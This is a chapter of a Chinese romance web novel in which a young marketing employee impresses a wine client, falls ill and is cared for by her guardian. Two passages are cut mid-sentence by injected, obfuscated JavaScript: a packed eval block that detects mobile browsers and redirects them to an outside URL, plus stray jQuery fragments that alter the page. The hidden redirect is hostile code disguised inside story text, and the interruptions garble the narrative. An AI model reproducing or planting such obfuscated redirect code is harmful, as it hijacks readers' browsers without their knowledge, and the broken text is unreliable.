缆车排队的队伍拐了三个弯,像一条臃肿的贪吃蛇。花花绿绿的滑雪服粘在一起,缓慢蠕动,每隔几秒就传来碰撞声和道歉。 梁景翊伸长脖子望不到队尾,不免骂骂咧咧:“这哪是滑雪,这是下饺子吧!还是速冻的!你们俩真是害惨我了!” 余简之无辜:“知足吧梁少爷,这才是人间真实。卑微打工人的假期,就是用来见证中国人口基数的。” 等终于踏上雪道,情况也没好多少。余简之和余平安是新手,初级道上全是笨拙的企鹅,堵车似的。梁景翊像只焦躁的牧羊犬,在她们身边来回打转,眼巴巴望着远处空寂的高级道。 不到半小时,两位女士的滑雪热情已消耗殆尽。余简之率先把雪杖一插,掏出手机拍照:“梁景翊!快来,给我和平安拍一张!” “你俩好烦呀!” 梁景翊嘴上嫌弃,身体却诚实地竖起了手机,帮她们拍照。 拍照结束,女孩们直接原地坐下P图,完全不搭理他了。梁景翊看着她们发了会呆,脑子里忽然冒出圣诞夜哥哥一个人出现在商场的样子。 现在他该不会也在外约会吧? 他掏出手机,拨出一通视频电话。 - 元旦当天,梁怀聿收到了相册,里面是他前段时间冲洗的余简之的照片,已经按照时间顺序装好。 梁怀聿匆匆翻了一下,为难地收进书柜深处。 文容一直注意着他的动作:“简之的照片?” “嗯。” “你给我看看吧。”文容毫不客气地说,梁怀聿沉默着递给他。 他原本应该开始工作的,有一个项目,这段时间他和文容一直在不舍昼夜地跟进。然而文容一边翻看,一边惊叫连连“哎呀这是十岁的小简也太萌了吧”“哇这张太可爱了”“竟然这么快就长得胖嘟嘟”…… 梁怀聿很难专心工作。 文容翻看着,忽然叹了口气:“要是当年,我也能像你这样,把她带出来就好了。” 梁怀聿没接话,他的目光在屏幕上流离,却什么也没看进去。半晌,他吐出口气,打开浏览器,搜索“美少女成长日记”。 这个游戏,是十多年前文容推荐给他的。 当他说要领养余简之时,文容第一反应:“你疯了吗?” 梁怀聿知道文容也曾经领养过一个孩子。不,远没有到领养这种深刻的程度,女孩有父有母,上有姐姐下有弟弟,懂事乖巧,读书努力,投身慈善事业没多久的文容动了恻隐之心。 他对她投入了远超其它孩子的关心与关照,就这样两个人,不可避免地产生了更深层次的链接。 梁怀聿知道结局,那个女孩去世了。文容没有说过她离世的原因,梁怀聿多少有猜到。从那以后,文容再也不特意去帮扶或资助某个孩子,而是无差别地给予全村孩子书籍、生活用品及补助。 “这不一样,”梁怀聿坚持,“她无父无母了,我会带她离开。” “你说得轻松啊,梁怀聿,你就算带她离开了,你有没有想过,如果她没有长成你喜欢的样子呢?如果她道德败坏、学术不端,需要你资助她一辈子呢?如果她真的是个弱智呢?” 梁怀聿不理解:“如果是这样,我最多资助到她高中毕业。如果她成绩好,考取了大学,我也会出钱。这个问题很难解决吗?” “你以为一旦和人产生过联结就可以轻易断裂吗?”文容比他年长,参透了世间绝大部分真理,“养条狗尚且无法做到,何况是活生生的人。” 文容推荐了一个游戏给他,叫美少女成长日记。 “要是真有领养的念头,你不如玩玩游戏过过瘾。” 在游戏中,玩家的角色是父亲,需安排女孩的工作学习,不同的选择会对女孩的人生造成不同的影响,最终获得不同的结局。 第一次玩,他悉心照料,甚至不惜充钱给她最好的,可她在八岁时去世。第二次玩,他搜索攻略,这次女孩在二十岁时亭亭玉立,迎来最好的结局。 结局动画弹出的瞬间,梁怀聿下定决心,他一定要收养余简之,复刻这个完美结局。 第三次玩这个游戏,是在余简之二十岁那年,她拿到大学录取通知书,来到北京念大学,甚至在学校里年年拿奖学金。 毫无疑问,余简之已经按他的预想,活脱脱地长成了一位小淑女,现实比游戏更完美。 梁怀聿怀着一种历尽千帆的感慨,再度点开游戏。现实里他已经赢了,在游戏里,他带着胜利者的从容。没有搜索攻略,他按照自己的想法,稳步推进。 结局【平凡的幸福】。女孩嫁给了城堡的守卫。 梁怀聿向后深深陷进椅背。他盯着屏幕上女孩与守卫的婚礼CG,手指无意识地敲着鼠标左键,发出咔咔声,惹他心烦。 心里团着一口郁气,在胸腔里不上不下。梁怀聿花了一天的时间找到了这团气的源头,他总觉得上天对他太糟糕,并不是,他依然是那个天之骄子。 想要的一切,他不甘放弃。于是在那个雪夜,他给了余简之两个选择。 时隔多年,梁怀聿再度点开游戏。 移动鼠标,像当年一样,为游戏里的女孩选择课程、安排作息。选择钢琴课、拒绝富商儿子的追求、同意她去城堡参加舞会…… 游戏时间飞速流逝。最终画面弹出,女孩穿着华丽的公主裙,笑容灿烂,挽着身旁同样华丽的男子。字幕显示:结局【嫁给王子】。 梁怀聿盯着屏幕,久久未动。然后,他松开鼠标,用手掌盖住了眼睛。 公主与王子,佳偶天成。 他依然不能接受。 四年来的困惑与此刻的烦闷拧成一股,他想要的,到底是什么样的结局?究竟要怎样,他才会满意? 梁景翊打来视频,梁怀聿接了,弟弟兴冲冲的脸出现在屏幕里,看清哥哥这边的背景后,不禁脸一垮。 “哥!不是,你怎么还在工作啊?元旦好歹放松放松吧,出去约个会啥的。你猜我在哪?” 热烈的、外向的、贵气的,称为王子,不过分。 “滑雪场。”梁怀聿冷冷地说出显而易见的答案。 梁景翊嘿嘿笑起来,翻转摄像头,环顾着拍了一圈,坐在地上的两个身影映入他的视线。 “猜对咯!你有空,也要出来多活动活动!”摄像头又开始晃动起来,“你看,这外面是活力四射!” 掠过坐在地上发呆的两个人时,梁景翊迅速移开手机——这两个人可不活力四射。 余简之匆匆出现在眼里又消失,梁怀聿眸色一沉,主动挂断了电话。 - 虽然整个小组升职加薪又归梁怀聿直管,但余简之愣是没在公司再见过他一面。 不过,自那日被梁怀聿叫走后,林芝韵虽未多问,对她的提点却明显多了起来。一个美国奢侈生活方式品牌寻求合作,希望与隐泉推出联名限量款。对方的核心决策者大卫正在中国,特意在元旦后的第一个周末举办了一场私人晚宴发出邀请。 林芝韵说话向来直白,把她叫到办公室:“简之,我带你参加有两个原因,第一你做事机灵,上进,有潜力,我愿意给有上进心的年轻人机会。第二——” 她上下打量着余简之,“你这张脸,在这种场合不会输。” 余简之愣了一下。 “别多想。”林芝韵抬手止住她可能的反应,“能力是你自己的,漂亮也是你自己的。我只是在告诉你,有些场合,它们可以一起用。想让人愿意停下来听你说话,要么靠脸,要么靠内容吸引人。” 晚宴那天,余简之选了一条剪裁利落的丝绸吊带裙,外搭质感上乘的羊绒开衫,既不张扬,又恰如其分地勾勒出柔和的轮廓。妆面干净,只突出了一双沉静的眼。 晚宴设在能看到城市夜景的高层餐厅。大卫四十多岁,有着长期浸润在顶级品牌中养成的优雅。寒暄过后,话题自然引向品鉴环节。 “要真正理解一个品牌的灵魂,不如亲自品尝?美酒如此,合作亦然。林总监,你说对吗?” 林芝韵顺势说:“简之,你陪大卫先生好好品鉴一下,为我们即将开始的缘分。” 余简之垂下眼睫,目光落在自己面前那杯殷红的酒液上。 心跳渐快,她深吸一口气,然后抬手,并未先去端酒杯,而是拿起了旁边的清水杯,轻轻抿了一口。 这个细微的动作,让大卫眉梢微挑。 余简之双手捧起红酒杯:“大卫先生,这款酒的名字叫隐泉,它确实有个故事,但或许和您想象的不同。” “它的故事不在某个传奇的葡萄园主,也不在复杂的酿造秘方。”她将酒杯缓缓倾斜,让酒液沿着杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250254|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁滑落,挂出细密的酒泪,“而在于等待和克制。” “用来酿造它的葡萄,产自河北一片的山坡。那里日照充足,但雨水稀少。葡萄藤必须把根扎得很深,才能汲取到地下深处的岩层水,这就是隐泉的由来。酿酒师每年都会刻意减产,让养分更集中。然后,”她轻轻晃杯,酒香开始隐隐发散,“压榨后的原酒,会被放入法国橡木桶,但不是当年昂贵的新桶,而是使用过三到四年的旧桶。” 大卫的身体微微前倾,“旧桶?这很少见。” “是的,”余简之点头,“新桶会赋予酒液浓郁的香草与烟熏味。但隐泉想表达的,不是外来的赋予,而是内里的沉淀。旧桶则像一位沉默的守护者,允许酒液在缓慢的呼吸中,自己慢慢醒来,发展出果脯、皮革、甚至一点淡淡的矿物感,就像那片土地本身的味道。” 她终于将酒杯递到鼻下,深深嗅了一下,然后才浅浅啜饮一口,让酒液在口中充分停留。 “就像现在,”她咽下酒,“它已经醒了,但依然很克制。单宁很细,不涩口,但存在感很强。酸度撑起了所有的风味,让它喝起来一点不腻。余味很长,有点苦,但苦得很干净,之后是回甘。” 她放下酒杯,看向大卫:“所以,它的故事很简单,在自然的环境里,用耐心和克制,等待自身风土最本真表达。它不想模仿勃艮第或波尔多,它只是它自己。” 席间安静了片刻。 大卫看着她,脸上的程式化笑容慢慢褪去,取而代之的是一种认真的打量。他端起自己面前那杯酒,按照她刚才的步骤,看、闻、品,闭眼感受了许久。 “很有趣,余小姐,这款酒和你的解读,都让我对这次的合作有了新的期待。” 林芝韵适时举杯,笑容真心实意了许多:“那么,为我们彼此真实的表达,干杯?” 坐进回程的车里,城市霓虹掠过车窗。 “今天表现得很好。不止是漂亮,是这里,”林芝韵靠在椅背上,指了指自己的脑袋,又指了指心口,“和这里,都在线。大卫那个人,我之前接触过,糊弄不了。” 余简之有些害羞。其实她刚刚紧张得不行,直到现在手心也微微汗湿。 “你的能力在部门里不算最出彩,”林芝韵看着她,“但你比别人多一样东西——你愿意下功夫。隐泉的资料,你看了不止一遍吧?” 余简之愣了一下,点头。入职以来,公司产品所有资料,她都看得很认真。不止因为工作需要,是因为那是哥哥公司的产品。那些关于葡萄园、橡木桶、风土的报告,她翻来覆去看过很多遍。 “这就够了。”林芝韵笑了笑,“可塑性比天赋值钱。” 她感觉有些醉了,晕乎乎的,给余平安发消息,让她来楼下接她。余平安早早下来等着,余简之向亲自送她回家的林芝韵连连道谢。 林芝韵微笑:“好好休息,明天可以下午再来公司。” 进了电梯余简之就有些撑不住了,脑袋发晕,余平安扛着她:“你们营销部也要应酬呀!” 余简之已经不知道自己嘴巴在讲什么了:“也不算应酬吧……” 大卫绝对没有故意灌她酒的意思,但是也不能干站着介绍,不知不觉就喝了许多。 余简之一进房间,就趴床上要睡觉。余平安拿毛巾给她擦了脸,手指碰到她的额头,说:“哎呀,你发烧了!” “我喝醉了,没发烧。” 余平安翻箱倒柜找出体温计,用科技无情戳穿了她。38.2℃。 余简之卷进被窝里:“应该因为我今天穿太少……” 她打了个喷嚏,整个人更沉地缩成一团:“你帮我端杯热水和发烧药来好么?不用管我,我睡一觉就好。” 家里没有备发烧药,得在外卖平台上下单。余平安给她端了杯热水,扶着她喂给她喝,又打开空调,调高温度。 发烧药到了,余平安边拆边进入房间,那个说要睡觉的人,此刻却在打电话。 “怀聿哥哥,因为你还在生我的气,对吗?” 生病时的嗓音,黏黏糊糊的,像一碗熬过头的小米粥。 余平安心里一惊,放轻脚步来到床边,她希望余简之是在说梦话,却看见她放在枕边的手机,屏幕上是梁怀聿的脸。 屏幕那边沉默两秒,然后声音传来,比平时低,在哄生病的小孩。 “不要睡,起来吃药,小简。” 19. 小寒 余平安完全被定住,正犹豫要不要上前帮她挂断电话,余简之忽然半抬起脑袋,脸红扑扑的,眼神却清亮得很。 余平安愣了愣,随即松了口气。 好哇,原来是装的。 她不打扰,将药放在床头柜,又轻手轻脚退出房间,掩上房门前听见余简之不依不饶地询问“你回答我”。 对方也在坚持:“简之,你先起来吃药。” “你先回答我。” 和病人纠缠太不体面,电话那头沉默,一秒,两秒。 余简之攥紧被角,然后听见他认了输:“没有。” “你去吃药,好吗?是不是没有药?我让人买给你。” 余简之懒得理他,撑着手臂坐起来,头发凌乱地散在肩头,脸颊是不正常的潮红。屏幕那端,梁怀聿显然是坐在书房,眉头蹙得很紧,盯着她端起水杯吃了药。 “吃了药就睡觉吧。” 余简之仰面躺下,吞下药片,药效来得没那么快,心理作用已经起了,头痛好像减轻不少。 羞耻感来得有些迟,从心脏蔓延到四肢,全身都开始发烫。 完了。 只能继续装傻了。 她埋进被子缓了缓,才逼自己开口:“你为什么不来纽约看我?我生病了,你该来的。何况……我很想你,哥哥。明天就来好吗?不来……你明明就生气了。” 嗓子又哑又润,显得指控没什么力气。 “我没有。不要乱想了,”梁怀聿平静得过分,“你睡觉吧。” 手机嗡了一声,电流声消失了,余简之抬头一看,电话已经挂了。 她气鼓鼓地躺回去,被子拽到下巴,像只被强行按回巢穴的小刺猬。 他竟然就这么挂了? 老居民楼隔音不好,没几秒她就听见余平安的手机响了。 余平安明显被吓一跳,接起电话唯唯诺诺:“哥?”她下意识地瞥了瞥余简之的房间。 电话里的答话,余简之听不清了,无奈叹气,手覆上脸颊揉了揉。 一分钟后余平安推开房门,探出一个脑袋:“妹妹?” “你进来吧。” 余平安进来,畏畏缩缩的,这里看看那里探探,余简之笑说:“电话挂了。” 她这才在床边坐下,问病榻中的人:“余简之你要干嘛啊。” “他跟你说什么?” “问你是不是脑子烧坏了,”余平安添油加醋,“要不要把你送到精神病院。” 余简之伸手推她:“认真点。” 余平安模仿起男人的声线:“平安,你在家吗?简之是不是发烧了?好,麻烦你多照顾她,嗯,实在不舒服告诉我,我让医生去看下。” “暧,我就知道,没意思,早知道懒得问了。” “那你感觉好点没有?有暖宝宝,要吗?” 余简之摇摇头:“我想睡觉。” 余平安推了推她,抬起双腿挤上床,余简之扔给她一边被子。这是一个比单人床尺寸大点的床,余简之觉得一个人睡宽敞,和余平安挤着刚好。 余平安关了灯,在被窝里的四肢挂在她身上:“哇塞你好暖和,你是我的热水袋。” “滚蛋啊啊。你抱松一点,你要勒死我啊是不是。” 姐妹俩在被窝里磨合了几个来回,终于找到双方都舒服的姿势和松紧度。 “你给哥打电话干嘛?” “我烧糊涂了呗。” “认真点。” “我又醉了又发烧了,不能任性一回么?”余简之轻描淡写。 “唉,你这是找死哦。太不理智了。你还是喜欢他。” 余简之的手攥紧了床单:“我不知道这算不算喜欢。” 说完这句话,余简之的眼眶和鼻尖都酸了,她缓了许久,才继续说:“可是我真的很在意在美国的那次发烧。他为什么不来看我?……就算是以哥哥的身份来看我,我现在都不会那么伤心。” 病痛里的记忆,往往更加深刻,何况伴随着刻骨铭心的痛。那几天混沌零碎且痛苦的记忆,已经成了她的心结。 “所以你现在想知道当时哥哥不来看你的答案?” “对。” 是因为不愿意以哥哥的身份出现,还是当时真的……打算就这样,按照第一个选择,与她切断所有的联系。 回忆起刚刚的电话,余简之转身埋进余平安的胸膛,毫不客气地将眼泪擦在她睡衣上。 “可是他现在,连骗骗我明天就来纽约看我,也不愿意。” “这很难理解吗?因为当年他确实没有去啊,怀聿哥从来不撒谎的。他不可能因为你生病了,就哄骗你让你开心。” 是啊,他没有去。那么多年后,她苦苦追求答案又有什么用,既定的事情如何能改变。 失望就是失望,难过就是难过,不会因为多年后穿上一层借口的外衣就变成开心与幸福。 两个女孩都不说话了,余平安在被窝里动来动去,跟个泥鳅似的拼命要钻,余简之说:“余平安你再动我把你踹下去。” 泥鳅不动了,抬起头看了看她: “那梁景翊有没有跟怀聿哥说你们分手呢?你现在是他弟弟的女朋友,”余平安撇撇嘴,“你俩的关系真的只能是兄妹呀。” “我让梁景翊先别说。我很害怕……我很害怕失去他弟弟女友这个身份。感觉,一旦这样,我在他面前就光秃秃的,一件衣服都没有穿。” “为什么?” 余简之可怜叹气:“可以不审讯我了吗?” 余平安的手臂搭过来,哄宝宝似地拍拍她:“睡吧,睡吧。” 早上醒来,余简之摸出手机将下午的假也请了,酒彻底醒了,烧退了一半,头痛翻倍。 幸好余平安白天不用去上班,全职在家照顾她,余平安过上了饭来张口的日子。 昏睡到下午,余简之被门铃声和余平安压低的说话声吵醒。 迷迷糊糊间,听见玄关处传来的不属于余平安的女声,以及一些细微的物品放置声,几分钟后,余平安推开门:“妹妹,医生来给你看下。” 医生进来,量了体温,问了她几句情况,拿了头痛药给她。 等医生走了,余平安进来跟她说:“医生还带了一袋子东西,电解质水,润喉糖,要吗?还有一碗冰糖炖雪梨,不知道你要不要喝。” 余简之嘴巴里苦苦的,没什么胃口,但听见说是冰糖炖雪梨,便说:“你拿给我看看。” 是外卖打包的盒子,印着某老字号的logo,余平安猜到了:“是不是你之前爱吃的?” “是啊。”闻到若有似无的甜香,余简之吸了吸鼻子。原本不想吃的,想了想,还是让余平安打开,尝了一两口。 另外一碗,余平安当下午茶吃了。 余平安说:“你还有什么不满意呢?做大于说,哥哥就是在乎你的。余简之,我懂你的任性你的担心,但是,你会不会觉得有点过?” 听完她的话,余简之不争气地哭了:“我好害怕……” “怕什么?你讲清楚,我来给你分析。” 怕她的在意会落空,怕自己多年来的耿耿于怀只是一厢情愿,害怕自己从未真正独立,永远是梁怀聿的小妹妹。 余平安叹了口气,上前拥住她,五指擦着她的眼泪。 “没关系,不管男人怎么样,至少我永远是你的依靠。” 第二天,余简之戴着口罩回公司。 林芝韵见到她,特意走过来:“好点了?” 余简之哪哪都好了,就是喉咙哑着,咽一下都扯着疼,完全说不了话。她摇摇头,又点点头,最后指了指嗓子,用口型说:好了。 林芝韵递给她一盒润喉糖:“看来我准备对了。” 余简之感激地抬起眼,又用嘴型道谢。 林芝韵笑了笑,却没立刻离开。她身体微微前倾,压低了声音,像是随口一提:“对了,昨天梁总问起你。你们以前认识?” 昨日她被叫去梁怀聿办公室,自然是询问晚宴与合作,林芝韵打算末尾再美言几句余简之,哪料梁怀聿主动问起。 林芝韵当然知道自己这种“卖下属”的行为多少有些不地道,可大卫那种人,她并不是招架不住,林芝韵是在主动给余简之机会。她初入公司能有这样的机会,下属反倒要反过来感谢上司。 工作中难免有应酬,梁怀聿无法指责什么,只是叫她多关注下属。 “他们是年轻人,没有分寸,你应该多提醒。商务场合,量力而行就好,避免受伤。” 寥寥数语,已透出别有寻常的关切。 再联想到上次,林芝韵品出了点别的味道。 面前的女孩淡定摇头,林芝韵也没指望问出什么,点到为止就好。就算是关系户,只要工作踏实努力,她没有意见。 “梁总对我们的项目很上心,今天下午他会过来听进度,你嗓子不行,但内容必须行,准备充分点。” 余简之点点头。 下午两点,会议室。 梁怀聿准时步入,带来一股微凉的空气,余简之埋着头,有些堵着的鼻子也闻到那股淡淡的味道。 她没抬头,听见林芝韵起身寒暄的声音,以及熟悉的嗓音简短回应。 若有似无的目光从她身上扫过,无需抬头,像某种刻进骨头里的本能,只要他靠近,她全身的毛孔都会自动张开,捕捉着空气里与他有关的一切。 余简之的拇指压在激光笔的按钮上,按进去,弹出来,按进去,弹出来,咔哒咔哒。 会议按流程推进。前面几位同事的发言,余简之一句也没听进去。 轮到她,林芝韵开口:“简之这部分的市场分析是核心,她提前准备了完整的说明文档。因为她嗓子完全无法发声,接下来将由她直接展示PPT,关键处我们参考她准备的文字说明进行讨论。” 余简之站起身,就在那一瞬间,她抬起头,目光不受控制地越过长桌,落在那个人身上。 梁怀聿也在看她。 他的目光从她脸上轻轻扫过,没有任何表情,没有任何示意,只是看着。很多年前,她上台演讲,他站在台下,也是这样看着她。 如同往日,她依然从中汲取到名为勇气的力量。 她垂下眼,将打印好的材料一份份递给大家。走到梁怀聿身边,他礼貌伸出手来接。余简之没有停留,快速走到台。 她深吸一口气,打开PPT,会议室里只剩下她敲击键盘切换页面的轻响。咽部的灼痛感在专注中变得模糊,失去声音,她只能靠着清晰的图表、精炼的关键词和箭头指示,一页页推进。 逻辑是她预先铺设好的轨道,她只需引导所有人的目光沿着轨道前行。遇到需要额外解释的数据,林芝韵会适时接过话头,衔接得天衣无缝。 演示结束,她轻轻颔首,走回座位。余光里,梁怀聿的目光从幕布上收回,落在材料上,手指翻过一页,看得仔细。 会议继续进行,余简之静静坐着,先前被压抑的喉咙疼痛,在此刻变得真切起来,她完全听不进去别人在说些什么。她扶着额头坐了一会,闷咳从喉咙里爆发,她偏过头想把痒意咳出去,却愈咳愈痒。 余简之忍住毛毛虫蠕动般的痒意,求助般看了一眼林芝韵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260265|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后者领会,微微点头示意她可以出去。余简之如蒙大赦,屏住呼吸,小心翼翼地推开椅子,想悄无声息地溜出去—— 咔吧——哐当! 椅子重重摔在地上,全场寂静,一声巨响砸穿了会议室的安静。 所有人的目光探过来,余简之大脑忽然空白,僵了几秒才弯腰。 长桌另一端,梁怀聿下意识要起身,但那个动作只持续了不到一秒。因为当有人察觉到他的意图时,立刻就有人起身过来替他完成,帮她扶起椅子。 余简之起身,低着头往外走,每一步都像踩在棉花上,软绵绵的,不真实。 余简之回到工位,抱起水壶猛灌了两口。剧烈的痒意袭来,余简之差点将满嘴的水全部喷出去,她克制着痒意,努力将水咽了下去。 她吃了药,又含了两颗咽喉糖,在桌上趴下休息,过了会,散会的大家陆陆续续进来,郑以薇过来拍了拍她肩:“小简之,还好么?” 余简之抬起身体,强撑着在电脑上打字:不太好。 原本想让郑以薇帮她接杯热水,刚打字她就被同事叫走了,余简之只好自己端起水壶进入茶水间。 经过走廊,路过会议室,她听见梁怀聿和林芝韵交谈的动静。语速不快,每个字都清晰,是在讨论某个数据。 进入茶水间,余简之猛地甩上门将自己关进去。饮水机发出咕噜咕噜的烧水声。她靠在墙上,盯着它嗡嗡工作。 水烧开了,她接了一杯,烫得握不住,只好放在台面上晾着。她就这么站着,看着那杯水一点一点地冒出热气,像一个漫长的省略号,没有结局。 抱着水杯返回办公室,恰好林芝韵也进来,余简之还没开口,林芝韵就说:“下午给你放假,你赶紧回家休息吧,或者去医院看看。” 余简之也觉得自己要撑不下去了,她不推拒,收拾好包就离开。走到公司大堂,电话响了,她接听,梁怀聿说:“小简,上来打个点滴吧。” 余简之张嘴答了,半秒钟后才意识到她完全发不出声音。她在大厅木然一两秒,才反应慢慢地转身进了电梯。 楼层数字一格一格往上跳,余简之抬手摸了摸喉咙,还是疼得厉害。 电梯门开了,文容竟在门口等她,余简之的眼眶立刻就湿润了。她仰起头,将眼泪逼退回去。 文容将她带到自己的办公室,拿来毛毯,余简之蜷在沙发上。 文容接了热水,交到她手里抱着、暖着:“简之,你先休息,怀聿叫了医生等会来给你看看。” 余简之靠在沙发扶手,本来感觉可以硬撑,可文容的嗓音又温又柔,熏得她头更晕乎,防线也软了几分。 她咽了咽口水,用气若游丝的气音说:“谢谢文容哥。” 文容立刻严肃起来:“你一点也不注意。小时候不是得过哮喘吗?忘了?” 余简之苦脸噘唇,用表情说:哥哥别批评我了…… “就要批评你。长大了反而更加不注意这些了。这么大人了,还没学会照顾自己吗?哮喘本来就很折磨,要是又复发了怎么办?我们不能时时刻刻陪在你身边,你自己要学会,知不知道?” 文容在她对面坐下,余简之盯着他看了会,忍不住偷偷感慨岁月是把杀猪刀。不过好像是把好刀,文容哥哥怎么越来越有味道了。 余简之诚恳地说:“文容哥哥,你又变帅好多。” 文容愣了几秒才听懂她的气音,忍不住伸手敲她脑壳。 “合着我刚刚说的话你一个字没听进去?生病了还有心情油嘴滑舌。” “真的!法拉利老了还是法拉利,”余简之连声啧啧,文容没听懂她的后半句气音,余简之拿出手机打字告诉他,“而且老款更保值。” “那怀聿哥哥呢?” 余简之脸不红心不跳:“他没你有韵味。” 文容笑微微:“我要跟他告状咯?” “你敢哦!” “简之你现在胆子大了,还威胁上我了。” 医生很快就来了,检查后果然给她扎了针,打点滴。心理恐惧大过生理恐惧,余简之别开脸,疼得皱眉,文容拿颗糖给她。 “我又不是小孩子了。” “你就说你吃不吃?” 余简之张开手,文容要放在她手里时,又收回了。 两人像是土耳其冰淇淋的老板与顾客,余简之被他戏耍好几回,才气恼地拿到糖果。 余简之含着糖果,半躺在沙发上,文容拿来椅子,让她垫脚。 “你睡吧,点滴打完了我喊你。” 余简之点点头,脚踩着鞋后跟,两只鞋先后落在地上,发出啪啪两声。 撑着不想睡,但因药物的作用,还是睡了。 再醒来时,她是被一阵剧烈的呛咳生生拽回现实的。睡梦中的闷咳逐渐失控,演变成剧烈的咳嗽。 她晕晕沉沉,半睁开模糊的眼,一只修长的手在她眼前晃着,悬在她肩膀上方。再度剧烈的咳嗽袭来,她整个上半身都在轻颤,那只手停顿了一下,仿佛在判断时机。 两秒钟后,毯子被拢起,一直盖到她的下巴,边缘被细致地掖了掖,她感受到他的体温。 余简之抬了抬手臂。 那双手默然一顿,才缓缓收回。 她完全睁开眼,视线上移,银色的腕表,一丝不苟的西装袖扣,她加大幅度,梁怀聿完整的脸终于露出来。 他微微俯身,月光微微,他的表情淡淡,不经意闪过一丝慌乱,很快压下。 “小简?”他开口,声音低轻,“你醒了吗?” 余简之凝着模糊的他,眼泪毫无征兆地掉下来。 20. 小寒 不等她回答,他折身去接热水,余简之立刻抬手覆住眼,再移开,白色的瓷杯出现在她眼前。 “好点么?要不要喝水?” 眼泪更加汹涌,这是她幻想过多少次的画面?她多希望此时此刻不是在北京,而是在纽约啊。 她多希望时针能拨回从前,回到那间小小的独居的单人间,那时的余简之比此刻更需要他。 余简之张张唇,一个音都没发出来,她又下意识地想去咳嗽清嗓子,梁怀聿从她偏头的动作中察觉,手抬起抵住她的额头。 “不要咳,越咳越不舒服。喝点水润润嗓子。” 余简之没忍住,闷咳了两声,含着泪眼去端水,梁怀聿手一偏,稳稳地将水送到她嘴边。 她就着他递来的水,低头抿了一口。喝完水,抬了抬手,点滴已经打完了,手背上留着留置针。 “明天和后天需要再打一次点滴。” 日常生活里的这类小安排,余简之大多没有异议,轻轻点头。 几点了? 她用嘴型问。 梁怀聿盯着她读了几秒,余简之回看他沉沉的眸子,又重复了一遍。窗外是夜色,可是冬天天黑得早,她不知道几点了。 “六点。”他看了眼腕表,“简之我等会送你回去。” 他语气温和,余简之眼眶更热。她赶紧低头,用鼻子轻轻应了一声,却带出一串鼻涕泡,她慌忙用手去捂,梁怀聿将纸巾递到她手边。 他看着她擦干净,鼻子被擤得通红,才开口:“你再等等,我让人准备了你的晚饭送来。你嗓子不舒服,需要单独的餐食。平安今晚有课,来不及给你做。” 余简之又用鼻子应了一声,摸出手机给平安发消息,告诉她晚饭不回来吃了。 大约五分钟后,有人轻轻敲门,送进来一个素色的保温袋。梁怀聿接过,从里面取出一个保温的陶瓷炖盅和一个白瓷碗。他打开炖盅的盖子,热气伴着清淡的香气袅袅升起。他盛了一碗,端到她面前的茶几上。 是瑶柱菜心粥,余简之握起勺子尝了一口,米粒炖到完全开花,接近糜状,无需费力咀嚼,即可顺滑下咽。至于好不好吃,她嘴巴里苦涩一片,吃什么对她来说没太多区别。 梁怀聿像怕她不肯吃,解释说:“粥里没放盐,用干贝提味,应该是你喜欢的味道。这个菜心炖烂了,好消化。” 另一盅是杏仁百合炖蛋羹,金灿灿的蒸蛋,看着很有食欲。 余简之看看这碗精致的蛋羹,又看看手边温热的粥,再抬眼,梁怀聿正沉静地看着她,一切都太周到,太妥帖。 她的胸口猛然一堵,明明是她期待的一切,可不知怎的突然来了脾气,尖锐的疼痛几乎要将她戳破,她握着勺子的手一松。 一双手飞快地从旁伸来,在下方稳稳托住了那只即将磕在碗沿上的勺子。 他的手很暖,指节分明,就这样托着勺柄,也托住了她微颤的手。没有立刻收回,仿佛在确认她是否能拿稳。 余简之垂着脑袋,眼泪蓄满眼眶,滚烫地打着转,将眼前他的手指、瓷白的勺柄、金黄的蒸蛋,所有所有的一切,都晕染成一片晃荡的光影。 此刻对她越上心越温柔,越是事无巨细,越是无微不至,在美国独自生病的、冰冷的、被遗弃的记忆,就越是汹涌地翻腾上来。 身在异乡,发烧烧到三十九度。她蜷在出租屋的单人床上,盯着天花板上的裂缝。头痛到无法入睡,数羊从一到一百反反复复数了无数遍,心头依然清醒。 她想给梁怀聿打电话,想告诉他我很难受,想问他能不能来看我。手机就在枕头边,她始终没有拿起来。 因为她被他拉黑了,她担心这次依然无法打通他的电话。独自生活的、生病的、小小的她,无法再承受被抛弃的痛苦。 有人替她打了这通电话。 然而她没有等到他来。 收到自己被抛弃的消息,她庆幸自己已经痊愈,不至于大病不起。 明明她不该生气,明明是她不告而别,明明她的一切是他带给她的,明明,明明。 余简之反手从他手里抢过勺子,埋着头一口一口吃饭。梁怀聿默默从她面前起身离开。 余简之维持着低头的姿势很久,眼泪一颗接着一颗,沉默地掉进粥里,她终于恢复味觉品尝到咸味。 半分钟后,脚步声去而复返。 她没有抬头,感受到他的靠近,阴影笼罩下来,混合着熟悉的味道。 然后,温柔的触感落在她的脸颊上。 他的手指有些凉,凉意被纸巾隔绝,他用极其轻柔的力道,抚过她的眼下,拭去挂在睫毛上的泪珠和湿漉漉的脸颊。 余简之浑身一僵,忘了哭泣,只是怔怔地抬起泪眼。 